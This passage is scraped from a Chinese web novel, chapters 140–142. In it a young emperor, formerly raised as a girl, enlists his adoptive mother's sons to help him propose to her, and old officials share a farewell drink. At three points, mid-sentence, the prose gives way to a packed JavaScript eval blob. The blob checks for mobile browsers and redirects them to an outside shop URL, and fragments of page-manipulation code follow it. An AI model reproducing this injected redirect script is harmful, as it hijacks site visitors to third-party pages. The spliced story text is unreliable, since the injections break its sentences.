两人随后跟着守门进了府,经过前院,一路来到祝贤盛的院子。 见到屋内还亮着光,陆恒之也不客气,直接推开门就走了进去:“老祝!” 只见屋内油灯正烧得旺盛,祝贤盛一人坐在桌前抿着酒。 而他面前的那紫檀木质地的桌上,则已经摆好了两盘卤牛肉、三副筷子以及三套酒具,还有一坛酒。 这坛酒才刚开封,祝贤盛半杯都还没喝完,酒坛子安然放在桌上,屋内酒香四溢,可见是坛陈酿好酒。 “不等我俩就喝了你!”陆恒之说着来到桌前,拿起那坛酒嗅了嗅,“哟,杏花村,可以啊!” 张辅之懒得理会他那德行,径直在桌前坐了下来。 而后把酒杯推到陆恒之的面前,意思是让他倒酒。 “哟,张相发达了,连派头都足了是吧!”陆恒之揶揄道,但还是给他和张辅之一人倒了一杯,“来,张相!” “你可得了吧。”张辅之拿起酒杯,“要说派头足你怎么不说祝相?” 陆恒之哈哈大笑。 祝贤盛也笑了:“行啊你这老小子,几十年不见得开回玩笑。” “反正你俩以后都发达了,以后记得多罩着小弟我点哈。”陆恒之说着举起酒杯,“来,哥仨走一个!” 一杯酒下肚,张辅之不由得看向祝贤盛:“怎么,现在满意了?” “那可不。”祝贤盛笑着拍了拍张辅之的肩膀,“老张啊我知道你不服,当朝半辈子结果还被我回头踩了一脚。” “去你的!”张辅之瞪了他一眼。 他要是真在乎那点权势名利,早就是丞相了,能当这么多年的太师? 不过,看到自家老兄弟萎靡失意的大半辈子,到了晚年终于能实现当初的夙愿,他是真的为这老小子高兴。 “新帝是个慧眼识珠的。”陆恒之点评道。 “慧眼识珠能把杨家三个兄弟全用作朝中重臣,不怕一家独大?!”张辅之没好气道。 满朝文武实在是担心,这位新帝会犯和先帝一样的毛病。 刚愎自用,目光短浅。 他说着看向祝贤盛:“你孙女家的那个老三,是个什么来头?” 杨纨岚是谁?听都没听说过。 这样的人怎么就能一下子担任户部侍郎? 听到他的疑惑,祝贤盛低声笑了:“最近民间有个叫如玉的画师,你们听说过?” “那个三次白手起家,又三次散尽家财的如玉大师?”陆恒之捋了捋胡须,“此人据说仁爱百姓,兼济天下,上个月我还收到了一副如玉的画作,确为极品。” 他的脑海中不由得想到了那副被他收藏入库的画,郁郁不得志的诗人站在峭壁之上,对酒当歌…… 怎么现在细细想来,这笔触在哪见过似的? 陆恒之蓦地瞪大眼睛:“那个如玉不会就是纨岚吧?” “那小子才多大!”陆恒之猛地站起身,来回踱步,似是很难相信,“他今年才十三啊!怎么就能画出这么老练的笔触!” “你怎么不说他十三岁就能三次散尽家财,接济百姓啊?”祝贤盛看着他,脸上露出一丝得意的笑。 “老祝啊老祝,你可真是收了俩好学生啊!”陆恒之使劲跺着脚,“当年我就跟你说让一个学生给我,你非不让!” “让给你干啥!”祝贤盛白了他一眼,“我自己又不是不能教!” 陆恒之哑口无言,只好坐回到椅子上独自生闷气。 祝贤盛见他一言不发,举起筷子夹了一块卤肉:“这卤肉还是傍晚刚开得封,看样子某人是不喜欢吃啊。” “得了,你少气他吧。”张辅之摆了摆手,“老陆明日就要走了。” “走?他还去云游讲学?”祝贤盛瞪大眼睛看着坐在闷闷不乐的陆恒之,“你自己多大岁数了你不知道?就不怕半路给你这把老骨头颠折了!” 陆恒之哼了一声:“你个瘸子去西征这一趟都没折,我折什么!” 话说这么说没错,只是...... 三人此时都明白了,今晚也许是他们兄弟三个这辈子最后一次团聚了。 末了,陆恒之率先举起酒杯:“咱哥仨好了大半辈子,如今看着你老祝得偿所愿,你老张也当上了有始有终地把这个丞相当上了,我很欣慰啊!” “来,再走一个!” 另外两人都没说话,只是举起酒杯一饮而尽。 他们兄弟三人弱冠时自柳州分别,此后一别就是几十年,直至今年四月殿试后才终于重逢团聚。 而后过了没几个月,竟又要分别了。 “嗨呀,至少我还能和你们书信往来,我又不搞失联,是吧!”陆恒之说着也给自己夹了一块卤肉,“哟,这肉味道真不错!” “你这老小子阴阳谁呢你!”祝贤盛不高兴了,作势要把那两盘牛肉撤走。 “哎你干嘛!”陆恒之见状连忙去夺,“我还没吃够呢!” 看着眼前胡闹的两个老顽童,张辅之无奈地叹了口气,举起酒杯再次一饮而尽。 每个人都有自己路要走,共聚山水一程,往后各奔东西,不必挂怀。 · 百官本以为,新帝破格授官的这些人,先不提右相祝贤盛、吏部尚书杨纨枫,至少这个先前一点声名都没有的户部侍郎杨纨岚,肯定会露出破绽。 只要他展现出难以应付侍郎之职的姿态,那么他们必然会当朝参奏。 至少从新帝继位前的做派来看,新帝应当不是个昏庸无能之人,那么他们群起上奏,定然能令新帝醒悟。 只不过,这些时日着实超乎他们的意料。 右相祝贤盛做派果决、处事老辣,比他们这些沉浸官场十几二十几年的老油条还像老油条;吏部尚书杨纨枫自不必说,他先前能几日之内适应司封司职务,如今再度挑战天之骄子的极限;最令百官难以想到的是,这个杨家三公子杨纨岚的天赋之高,适应速度之快,竟能与其兄齐平! 要知道,他二哥好歹之前还在司封司干过一段时日的,可杨纨岚这小子刚上任就是户部侍郎啊! 杨国公府是走了什么大运,天才一个个不停地往他家送! 有人窃窃私语说,老杨国公府连坐身死,老安定侯同样英年早逝,想来是风水轮流转,上一辈失去的风水都在这一代补回来了。 对此,许多人深信不疑。 再说自新帝继位后,雄才大略,高瞻远瞩,实为明君之相,百官终于可以放下心来,楚朝盛世可期。 今日散值后,杨纨枫放下手中的政务,下官纷纷前来告辞,一个身着官服的少年郎便蹦蹦跳跳地来到他面前:“哥,散值了!” “......你稳重点。”杨纨枫无奈地叹了口气,都是做三品大官的人了,怎么还这么冒冒失失的。 “怎么跑得官帽都歪了?”他说着站起身,帮弟弟把头上的官帽扶正,“行事不稳,小心被参奏。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988848|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这都能被参?”杨纨岚瞠目结舌。 但随后,他竟直接解开脖子上的系带,把官帽摘了下来,笑道:“这样就不歪啦!” 杨纨枫:...... 随你吧。 杨纨枫将桌上的文书统了统,便迈步想要和弟弟离开。 明日休沐,母亲说要带着他们一起烧烤呢。 只是两兄弟刚要出门口,便迎面撞上了一个身着暗纹飞鱼服的少年郎。 这身飞鱼服通体暗红,暗纹处用的是乌金线,赫然是禁军统领才穿的官服。 “二哥!”杨纨岚兴冲冲地来到杨纨玦面前,“二哥你怎么到六部来了?” “来抓你的。”杨纨枫悠悠道。 “啥,哪个大臣啊参的也太快了吧,这就来抓我啦?!”杨纨岚吓得连忙把官帽戴上,“二哥你看,我现在戴正了,别抓我啊!” 杨纨玦被他这一通操作看愣了:“你在说什么?” 杨纨枫笑着拍了拍傻样弟弟的头,随后看向自家兄长:“二哥来六部有事吗?” 杨纨玦这才点了点头:“大哥唤咱们过去。” 六部就在皇宫南门口东侧,三兄弟一道出了六部,自南宫门入,径直去往太极殿。 到了太极殿,李公公引着兄弟三人进入殿内,走廊里的安静肃穆,忽得听到了一阵孩童的声音:“大哥,我要那个!” 纨,纨绫?! 李公公刚想要进去通报,侍卫自动推开门道:“陛下吩咐了,三位可直接进去。” 等到三兄弟走了进去,赫然见到他们家老幺正扒着他们大哥的裤腿,小胳膊举得高高的,使劲往上蹦,想要去够大哥手里的小弓箭。 身着天子常服的萧怀琳胳膊一会儿放低,让杨纨绫伸伸手就能够到,等到后者真的把手举起来的时候,又突然举起胳膊。 奶团子最后蹦累了,气鼓鼓往地上一坐:“大哥是坏人,骗小孩,我不要了!” 萧怀琳这才蹲下身温声细语地哄奶团子:“这,你告诉我母亲今日都做了些什么,我就把它给你,怎么样?” 杨纨岚看得目瞪口呆,杨纨枫的嘴角不由得抽动了一下,他还在纳闷最近这小子怎么这么缠着母亲呢。 合着是家里出了内鬼,被外贼给收买了。 末了,萧怀琳终于注意到三个弟弟已经来了,这才把手里的小弓箭递给奶团子,含笑着回到案台前:“来了?都坐。” 杨纨绫抱着小弓箭高高兴兴地跑到三个兄长面前:“哥哥们看,纨绫的新玩具!” “你这小子什么时候进的宫啊?”杨纨岚说着抱起自家弟弟。 “纨绫每天都来啊。”杨纨绫宝贝地把小弓箭揣进怀里,生怕别人抢走似的,“大哥派李公公来接纨绫,母亲就让纨绫过来了!” 三兄弟分别落了座,杨纨岚把自家弟弟放到了自己腿上,很快有小太监来给他们斟茶,还专门给杨纨绫端了盘水果来。 杨纨绫看见盘子里摆成花的水果,摇了摇头:“我想吃桂花糕。” 小太监赔笑道:“小公子,杨国公夫人先前嘱咐过了,您再吃糕点要长蛀牙了。” 杨纨绫这才噘着嘴拿起一块苹果,不高兴地啃了起来。 “好小子,在皇宫混得比你几个当官的兄长还好!”杨纨岚低头看着老神在在的弟弟,边笑边张开口,“给你四哥也来一块。” 杨纨绫也不小气,拿起盘子上的一颗葡萄举到四哥嘴边:“啊~” 杨纨玦和杨纨枫无语地看着杨纨岚。 和小孩要食,出息呢。 等奶团子喂完了四哥,又兴奋地看向另外两个兄长:“二哥三哥,你们也要吗!” 两个兄长连忙摆手。 杨纨枫看向正托着下巴,饶有兴致望着他们的萧怀琳,不由得开口道:“大哥找我们有什么事吗?” 萧怀琳原本撑着下巴的手,收了回来,渐渐坐直了身体,缓缓道:“我先提个醒,对于我接下来要说的话,你们做好心理准备。” 老二老三老四互相看了对方一眼,连忙正襟危坐。 就连一向不着调的杨纨岚也挺直了腰背,还把坐在自己腿上小老五手里的苹果拿走,放回到了盘子里:“大哥您说。” 萧怀琳的目光如同一潭幽深的黑水,将坐成一列的几个弟弟拢入其中。 “我想要娶苏国公府嫡长女为妻。” 140. 第二关过 “大哥想要立外祖家的女儿做皇后吗?”可怜的杨纨岚还没反应过来,他皱着眉头思索道,“我印象里边,舅舅家的表妹们都还没到出阁的年纪吧......” 杨纨枫握着椅子扶手的手指骤然用力,在实心的红木椅上生生捏出了几个暗窝。 杨纨玦扭头看向那端坐于案台之后的萧怀琳,神色晦暗不明:“大哥可是口误?如今的苏国公可是外祖,不是舅父。” 萧怀琳摇了摇头,一双秀丽的凤目中闪烁着坚定的目光:“是苏国公苏泓的嫡长女。” 闻言,杨纨岚那一双满是疑惑的桃花眼逐渐瞪大瞪圆,心里“咯噔”一声。 外,外祖的嫡长女,那不就是…… 坐在杨纨岚腿上的杨纨绫问道:“母亲和儿子也能成婚吗?” “不行!!!”杨纨岚连忙抱紧自家弟弟,大声惊叫。 宝啊你还是个孩子,你听不得这些啊!!! 可随后,他却又想到了什么,顿了顿,难以启齿道:“咳咳......一般情况下不行。” “啊?”杨纨绫一双清澈的大眼睛眨了眨,他扭头看了案台后边的大哥一眼,又抬起头看向四哥,“那大哥不是一般情况吗?” “大哥他......” 人伦上似乎可以,但是道德上过不去。 杨纨岚深吸了一口气,最终艰难道:“......可能是二般情况。” 杨纨玦和杨纨枫纷纷瞪了他一眼。 杨纨枫面色不善地看向萧怀琳:“大哥难道是想让母亲和杨国公府和离吗?” “没错。”萧怀琳丝毫不避讳自家弟弟带着敌意的目光,又或者说,他早就预想到了会是这么个情形,“我是这么想的。” 闻言,杨纨枫那张向来波澜不惊的脸上不由得露出冷笑:“你觉得母亲会同意?” “轻易是不会同意的。”萧怀琳目光坦然,朝几位弟弟张开手臂,“所以我需要你们帮忙。” 杨纨枫低低地笑了。 他从来没觉得自己这位兄长这么荒谬过,哪怕是知道他从小被当做女子养大的时候,也没这么觉得。 他当即站起身,朝萧怀琳拱手一礼:“微臣无能,恐辜负陛下所托。” 他敬萧怀琳是大哥,不过是看在母亲的面子上。 想让他帮着这个“大哥”让母亲和他们分离?做梦! 杨纨枫说着便转身要离去:“臣告退。” 杨纨玦紧随其后站起身:“微臣无能,恐陛下所托,臣告退!” 两人转身经过杨纨岚身前时,后者还坐在椅子上发愣,表情像牛一样呆滞,大脑一片空白。 大哥想娶母亲,大哥想娶母亲,大,大哥说他想娶母亲…… 杨纨绫拉了拉四哥的袖子,小声道:“四哥,我们该走了。” 杨纨岚连忙回过神,仓皇地从椅子上爬起来,抱着自家弟弟匆匆朝着萧怀琳行了一礼,而后转过身朝门口的方向夺路而逃。 眼见着几个弟弟都要走,萧怀琳连忙也从椅子上起来:“站住!” 天子不愧是天子,随着萧怀琳脸上的神情陡然变得严厉,整个内室都逐渐弥漫起一股威严的气势。 又或许,其实他本就是这样的,只是在母亲和弟弟们面前没有表现出来罢了。 因着这股气势,还差一步便能走到门前的兄弟几个居然下意识停下了脚步。 杨纨玦深吸了一口气,率先转过身,摘下了自己的官帽:“忠君之命乃臣子之子,可若忠孝不能两全,臣愿辞官退隐,以护母亲周全。” 萧怀琳眼看着几个弟弟都停下了脚步,便知事情还有余地,他神色稍霁,反问道:“我若是娶了她,难道她就不周全了吗?” “我并非强夺,若是她不愿,我绝不委曲求全。”萧怀琳说着摊了摊手,“若她能嫁给我,我绝不会阻止她和杨国公府的往来,她想何时出宫去杨国公府都可以去,我也绝不阻拦。” “日后你们若是想她,亦可直接来宫中觐见,无须通传。” “她和杨国公府仍是一体,只是表面上没有了主母身份罢了,这还不够周全吗?” “大哥好辩驳。”杨纨枫冷笑道,“可照你所说,母亲为何会放着好好的国公府主母不做,去到那规矩森严的皇宫做皇后?” “她在国公府是真正做主的主母,无人敢越过她,无人敢不敬她。” “可你的后宫将来还会有无数的嫔妃,她凭什么要在后宫和无数女人争夺你的宠爱,才能换来一席生存之地!” 杨纨枫朝着案台之后的皇帝冷喝道:“她凭什么受这个委屈!” “她不会受这个委屈!”萧怀琳反驳得没有丝毫犹豫。 “我这辈子,只娶她一个。”萧怀琳目光坚定地看着杨纨枫,一字一顿道,“我绝不会纳妾。” “说得好听!”许是因着太过激动,杨纨枫的胸膛剧烈起伏着,那双好看的杏目眼眶通红,“你拿什么保证!” 萧怀琳缓缓抬起手臂,指着自己身前的这几个弟弟:“拿你们。” “纨玦是禁军统领,你是吏部尚书,纨枫是户部侍郎,老爷子还是右相,你们全都手握大权,是我的左膀右臂,也能成为我最大的桎梏。” “若是我有一日胆敢起二心,不用说天打雷劈这样不切实际的话。” “单是你们联合起来,足以撕扯掉我的臂膀。” 萧怀琳目不转睛地看着他天资绝顶的三弟,缓缓问道:“这样的保证够吗?” 杨纨枫那一双秀丽的杏目明灭闪烁着。 说到老爷子,他倒是差点忘了,除了他们几个,老爷子也是知晓萧怀琳过往身份的知情人。 他冷声道:“既然如此,那就烦请陛下先得到祝相的许可,再来同我们商议此事吧。” 萧怀琳就猜到他会说这句话,闻言不禁轻轻地笑了:“老爷子已经同意了。” 此言一出,和萧怀琳面对面的兄弟几个全都瞪大了眼睛。 “……你说什么?” “我已经得到了老爷子的许可。”萧怀琳说着坐回到了椅子上,“只要你们愿意帮助我,让若琳同意嫁给我。” 老爷子……怎么会答应? “她和我在一起绝不会受委屈的。”萧怀琳向几个弟弟保证,“我尊敬她,也爱慕她,就连求娶她都要来向你们寻求帮助,而不愿用哪怕稍微粗暴一点的方式。” “你说来说去,到以后也没有说明白。”杨纨枫冷冷地看着他,“若是母亲愿意,你何需来找我们帮忙?” 萧怀琳低下头,窗外的光逆着他的脸,看不清晰脸上的神情,声音更是多了几分喑哑:“……因为她毕竟曾拿我当做女儿过,也许她自己就过不去这个坎,如果你们不接受,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001386|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就更难过去这个坎。” 屋里陡然陷入了静默。 萧怀琳不说话,杨纨枫死死地盯着他,也是一句话也说不出来。 过了许久,杨纨玦忽地开口:“我有个问题。” 萧怀琳这才抬起头,睁着有些微红的眼眸看着他:“你说。” 杨纨玦道出了先前在陕州时,开完会后,老爷子把他和纨枫单独留下,看到母亲和眼前的皇帝做出亲密举动的那件事。 “我想知道,母亲对你是什么态度?” 闻言,萧怀琳的脸上先是闪过片刻的惊愕,继而露出一个无奈的笑容:“原来早就被你们发现了。” “……这是什么意思。”杨纨玦的心逐渐收紧,下意识握住了腰间的剑柄。 其实意思已经很明显了。 但萧怀琳还是耐心地再解释了一遍。 “若琳和我,情投意合。” 三个人的脑子同时炸了。 “什么……”杨纨枫咽了口唾沫,艰难地问道,“什么时候的事?” “突厥入京当日,我从敌军手里救下了她。”萧怀琳坦言,“从那时起,我就在用现在的身份追求她了。” “所以你从很早以前就……!”杨纨枫目眦欲裂地看着他。 眼看着气氛越来越剑拔弩张,在边上一直“阿巴阿巴”的杨纨岚终于消化掉了这个骇人听闻的消息,他连忙跑上前道: “听,听我说一句!” “咱,咱们别管是把母亲当母亲看,还是把母亲当,呃,当心上人看,但是咱们最终都是希望母亲能够幸福的对不对!” “要,要我说啊,咱们不如就像大哥说的那样,帮母亲过去她心里的那道坎,反正最后也是要问母亲愿不愿意的,咱们都不强求!” “若是母亲愿意,那别说,咱哥几个日后定能护得住母亲;若是母亲还是不愿意,大哥你以后也别再提这事,伤了兄弟间的和气。” 杨纨岚分别看向自己的大哥和三哥:“你们说是不是这个理?” 萧怀琳当即点头:“我同意。” 本来他就是这般打算的。 杨纨枫愤恨地瞪了胳膊肘往外拐的亲弟弟一眼,却又无法否认他说的话有道理。 最后长长地叹了口气:“我也同意。” “很好!”杨纨岚当即抚掌,“成交!就这么办!” 最后他看向萧怀琳:“大哥,帮你迈过这个坎的事我已经想好怎么办了,正好明日休沐,咱们速战速决,明日就把这事办完,无论成不成都尽快翻篇,怎么样!” 闻言,萧怀琳倒是有些意外。 明日,这么快? 不过他毫不犹豫地点了点头:“没问题。” 只要能给他一个求娶心上人的机会,别说是明日了,哪怕是要他到昨日,他也会想办法回到过去。 杨纨岚活动了一下手腕,脸上浮现出一抹怪笑:“这事还得找个会化妆的丫鬟,还得连夜赶制一套裙子出来。” 毕竟大哥现在这个身量,想要再穿女子的衣裳就只能定做。 听到这些离谱的话,萧怀琳眉头直跳。 就连一副苦大仇深模样的杨纨枫都微微变了脸色。 杨纨玦警惕地看着他:“……你想干什么?” “我知道!”杨纨绫一蹦一跳地走过来,“四哥哥想让大哥哥穿裙子!” 141. 我想要娶你 今日休沐,苏若琳一早就开始张罗着在院子里烧烤,牛羊肉都是早晨刚杀的。 一家子忙进忙出,不一会儿下人端着两盆孜然粉和辣椒粉过来,苏若琳让他们放到一旁。 “老爷子和钱氏母子呢,怎么还没来?” 红烛应道:“回夫人,老爷子在处理文书,说不凑这个热闹了;钱公子正在老爷子那儿上课,也不来了;钱夫人说她待会到。” “行,我知道了。”苏若琳略微点了点头。 她说着,又看向周围忙碌的人们,怎么感觉少了几个? “几个少爷们去哪了?” 怎么四个都不在? 也不应该是躲去偷懒了吧,她的儿子她能不知道吗,从来都不是好吃懒做的主。 话落,杨纨绫不知道从哪蹦了出来,小跑着来到苏若琳身边:“母亲!” “是纨绫呀!”苏若琳宠溺地捏了捏小儿子软软的脸蛋,笑着问道,“你哥哥们呢?” 奶团子没有回答,反倒是拉起了母亲的手,神秘兮兮道:“哥哥们叫你过去!” “什么事啊还得让我过去?”苏若琳说着把手边的烧烤材料都推了推,随后站起身,“那行吧,咱们走。” “母亲快点快点!”杨纨绫拽着母亲的手就往前跑,看起来很是心急的样子。 “这么着急?”苏若琳见这孩子跑得费劲,笑着把他抱起来,“好好好,你指给母亲看,让母亲上哪去。” 杨纨绫便抬起小胳膊,指着前院的方向:“咱们去那!” 于是大的抱着小的,两人一路去了前院,眼见着面前的景色越来越开阔,越来越眼熟,苏若琳最终在腾云轩的院子里停下了脚步。 “怎么啦?”苏若琳抱着奶团子走进腾云轩,“这不是你二哥和三哥的院子吗?” 说起来,从前两兄弟安排一个院子,是因为这俩孩子还怕生,住在一起更有安全感。 如今这俩孩子都成半大小伙子了,是不是也该分开两个院子了? 这般想着,忽得屋子的门被打开,露出了一条缝,随后一个脑袋从屋里探了出来。 苏若琳觉得好笑:“纨岚你这是做什么呢,怎么鬼鬼祟祟的?” 鬼鬼祟祟的也就算了,在自己的院子里边怎么还这么鬼鬼祟祟的。 杨纨岚见到母亲来,笑嘻嘻地走了出来:“母亲!” 他说着来到苏若琳面前,把母亲怀里的奶团子接了过来:“母亲快进去!” “到底怎么了这是?”苏若琳哭笑不得,被儿子推着来到门前,推开门走了进去。 等进了屋,却又被杨纨玦和杨纨枫挡在了眼前。 哥仨都到了青春期,个子窜得一天比一天快,纨玦和纨枫这俩人往她跟前并排一站,跟堵墙似的。 只是这俩孩子看起来好像不怎么高兴的样子,纨枫阴沉个脸,纨玦脸上的神情一言难尽。 “怎么了这......” 苏若琳刚要开口,忽得屋里想起了一道琴弦拨动的声音,她猛然一怔。 这琴声不过一个起手,苏若琳便已知晓了是哪首曲子。 因为这曲子,她曾日夜弹奏,弹了整整三年啊。 袅袅的琴声宛宛流转着,如清澈甘甜的溪流,淌过屋内光洁的木板,高松的房梁,流淌在苏若琳的四周。 杨纨玦和杨纨枫互相对视一眼,同时转身向着两边离开。 随着原本挡在苏若琳身前的两人离去,在不远处,在那件绣着麒麟与灵鹿的屏风前,一个身姿妙曼的姑娘映入她的视线。 那姑娘身着一席墨蓝色的流光彩绣衣裙,姣好的面容上神情内敛,似一条清澈而又静谧的溪流,唯有那一双狭长的凤目却又溢满柔情。 她那双骨节分明的手指在琴弦上灵巧地拨动着,好似在与琴弦共舞一般,那双动人的凤目微微抬起,装作不经意间瞥了她一眼,而后便在顷刻间涨红了双颊。 而她头上梳着的双月流轮发髻,是她从前在侯府时最常梳的那个发髻;那一头乌黑的青丝上所有的簪子,也都是母亲曾送给她,而后他的心上人又从火海的废墟中帮他捡回来的那些。 苏若琳不可思议地瞪大了双眼。 怀……不,婉枝?! 她,他,他怎么…… 苏若琳的眼眸颤动着,眼见着眼前人弹琴的手指不断舞动,她的一颗心竟好似对方手底下的琴弦一般,被不断地撩拨,而后收紧。 她下意识地咽了口唾沫,竟不由自主地迈开步子,朝着那床琴后,姿态袅娜的佳人走去。 那首她亲自教给眼前人的《长相思》仍在演奏着,跟随着她的脚步,节奏逐渐变得有些急促。 眼前人的心,乱了…… 苏若琳缓缓在那床琴前站定了,而后屈腿跪坐在了眼前人的对面。 眼前的姑娘,和她的记忆里,还是差不多的。 只是比从前胖了些,也比从前高了…… 她忽地笑了,眼眶却逐渐开始泛红,几乎在顷刻间,眼角便染上了一丝泪意。 像是血红色的胭脂入了水,打破了原本平静的睡眠,掀起了阵阵波纹。 而后,红色便渐渐地晕染开了。 胖些好啊,高些也好…… 从前这孩子瘦瘦的,小小的,老是被人欺负,在自家府里都不敢大声讲话。 如今他高了,壮了,会使剑了,也会打架了。 从此就再也没有人敢欺负他,偌大的整个萧楚,都已经是他的天下了。 杨纨岚和杨纨绫两个小子不知何时从萧怀琳的两侧冒了出来。 眼见着母亲逐渐动容,两人一左一右,帮着大哥将他头上的发簪卸下、梳好的发髻拆掉。 如墨一般乌黑的发丝瞬间散下,眼前这位原本倾国倾城的窈窕淑女,也终于变为了温润如玉的俊俏少年。 最后,两人一左一右拽起萧怀琳身上的衣裙,往两边扯去。 只听得“嘶啦”一声,那件墨蓝色的衣裙应声而裂,露出了白色的里衣——是男子样式的。 这件特殊的衣裙,还是杨纨岚特意找了京城最手巧的十位绣娘连夜赶制的,看起来完整结实,但是只要轻轻一拽,整件衣裙的各个部位都会随之解体。 彼时正在弹琴的萧怀琳意识到了自己的外衣被脱掉了,那张原本白皙的脸颊瞬间变得羞红,手指无意间摁错了弦,连带着他的手指都被割破了。 这首曲子,也彻底乱了。 鲜红的血自指尖的伤口溢出,苏若琳这才回过神,连忙捧起他的手,将那被割破的手指含入口中。 舌头温软而又湿滑的触感像是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026938|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片羽毛,轻轻地挠在伤口上,麻痹了指尖的疼痛,更惹得他心神荡漾。 末了,苏若琳这才松开口,心疼地抬起头看向面前的少年郎:“怎么这么不小心?” 萧怀琳的唇瓣轻启,望着心上人那张关切的容颜,先前准备好的话语却全都堵在了喉间,竟不知如何开口。 此时此刻,这位纵横沙场的萧楚战神脸上竟充满了无助。 他左右扭头想要去找策划此事的四弟,可杨纨岚方才见时机成熟,早已带着其他兄弟跑路了。 方才心上人含住了他的手指,他的心思全都在心上人这里,连几个弟弟悄悄关门的声音都没有听见。 而苏若琳似是也终于明白了事情的不寻常,无论是这几个孩子里边谁出的主意,但看样子,最终的目的还是为了面前这个。 她看着眼前欲言又止的少年郎,那一张白皙的脸颊羞得通红,连带着那两片唇瓣都红得鲜艳。 宛若浇灌了鲜血养育而成的玫瑰花,红得妩媚,红得动人。 苏若琳不由得咽了口唾沫,微微定了定神,问向眼前人:“你有什么想对我说的吗?” 萧怀琳眼眸微动,从四处张望的狼狈中扭过头来,重新看向眼前的心上人。 此时此刻,没有任何人能帮助他,想要得到他的心上人,他必须一个人完成余下的所有。 他沉默了半晌,终于鼓起勇气道:“……若琳。” “我想知道,你到现在,仍旧把我只当做一个孩子吗?”他的声音沙哑如干涸的河床,可那一双秀丽的眼眸却被无数的东西所填满。 有温柔,有不安,有满溢到溺出的爱意,还有那爱意之中裹挟的一丝乞求。 “就像……就像是纨枫和纨岚他们那样吗?” 小心翼翼的话语宛若一条暖色的河流,听得人心起怜爱,而在那暖色之中却又夹杂着一道黝黑的杂质,那样明显,那样突出,令人难受。 苏若琳莫名的心一紧,她觉得自己仿佛陷进了一潭美丽的沼泽,被那温柔的泥泞裹挟着越陷越深,越来越窒息。 “不……” 没有…… 没有。 眼前的人,他再也不是一个孩子了。 他已经长大,已经可以征战沙场,已经能够坐拥天下,已经能与自己肩并肩。 已经能……能令自己在悄然心动,不知不觉地沦陷其中。 他再也不是杨婉枝,不是安定侯府的大小姐了,他是萧怀琳,是大楚如今的帝王。 而她面前的少年郎听着她那一声轻轻的“不”,那一副不安又卑微的面容在顷刻间绽放出了名为欣喜的神色。 黑色的杂质渐渐得消失了,与之对应的,粉色的柔情自河底浮了上来,吞噬掉了暖色,逐渐溢满了整条河流。 “我……” 萧怀琳注视着眼前人有些茫然无措的面容,那一双眼眸宛若河畔的春水,掀起阵阵微波:“我喜欢你,从用这个身份和你重逢以前,就一直在倾心于你。” “‘怀琳’这个名字,就是为你而起的。” “我……”少年郎的胸膛因为紧张而剧烈起伏着,那一张温润的脸宛若鲜艳的玫瑰一般,红得靓丽。 他闭上眼睛,终于鼓起了此生全部的勇气,朝他的心上人开口:“我想要娶你!” 142. 我愿意 苏若琳的脑子瞬间就炸开了,而后乱成了一团麻。 她狠狠地掐了一把自己的大腿,剧烈的疼痛传来,告诉她这不是梦。 眼前的少年郎,说想要娶他。 混乱之中,她居然结结巴巴地问道:“你,你说要娶我,不是纳?” 闻言,眼前的少年郎微微一愣,涨红着脸匆忙道:“是娶,绝不是纳!” 许是怕极了心上人误会,他心急得话语都比从前快了许多:“我,我珍惜你还来不及,怎么可能纳你做妾!” 话落,两人皆是一愣。 少年郎很快意识到了自己出口的话语实在太过直白大胆,原本就红得鲜艳的脸颊如今仿佛能滴出血来。 而苏若琳则彻底怔愣在了原地,久久不能言。 两人沉默许久,最后还是少年郎的声音打破宁静。 “所,所以......你愿意吗?” 你愿意吗...... 面前人的声音明明细若蚊蝇,却震荡在她的脑海,响彻整个心间。 因这一句呼唤,苏若琳堪堪回过神,再看向眼前人时,绯红浸透了她的脸庞。 可,可是...... “我比你大了整整五岁。”她听见自己这样说道。 聪明如萧怀琳,听得心上人这番话语,当即明白事情有戏。 他深吸了一口气,想要让自己剧烈跳动的心慢下来。 而后朝着面前的心上人露出一个温柔的笑意:“你也只比我大五岁。” 五岁,说大不大,说小不小。 大到能够贯穿他的整个苦痛的过去,小到当他历经过悲痛,能够独当一面时,仍旧有资格再去追寻心上人的脚步。 苏若琳看见了少年郎脸上的微笑,那笑容如一阵温暖的春风,伴随着沿途的花香纷至沓来,缓缓安抚着她原本紧张而又有些惧怕的内心。 于是,她这颗因着眼前人而不安颤动的心,竟也被眼前人抚平了。 她低下头,小声嗫喏着:“皇,皇宫里规矩那么多,稍有不慎就会被责罚......” 苏若琳来到这个世界时,错非是没有得选,否则她也不想做什么当家主母,大户人家都规矩繁多,她还要费心思斗小妾,去和别的女人争主君的宠爱。 所幸安定侯府人口简单,而她母家又强横,后来老男人也很快死了,白捡的儿子们也都争气,她才能过上自在日子。 